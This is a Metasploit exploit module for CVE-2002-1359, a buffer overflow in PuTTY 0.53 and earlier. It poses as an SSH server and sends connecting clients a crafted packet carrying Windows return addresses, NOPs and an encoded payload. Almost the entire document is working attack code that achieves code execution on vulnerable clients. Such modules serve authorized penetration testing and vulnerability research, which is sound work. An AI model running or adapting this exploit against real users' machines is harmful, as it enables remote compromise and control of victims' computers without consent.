PuTTY Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PuTTY Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the PuTTY SSH client that is
          triggered through a validation error in SSH.c. This vulnerability
          affects versions 0.53 and earlier.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2002-1359' ],
          [ 'OSVDB', '8044'],
          [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
          [ 'BID', '6407'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2002-12-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer =
      "SSH-2.0-OpenSSH_3.6.1p2\r\n" +
      "\x00\x00\x4e\xec\x01\x14" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
      (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
      [target.ret].pack('V') + make_nops(10) + p.encoded +
      (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
      "\x00\x00\x00\x00\x00\x00"

    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

    client.put(buffer)
    handler

    service.close_client(client)
  end
end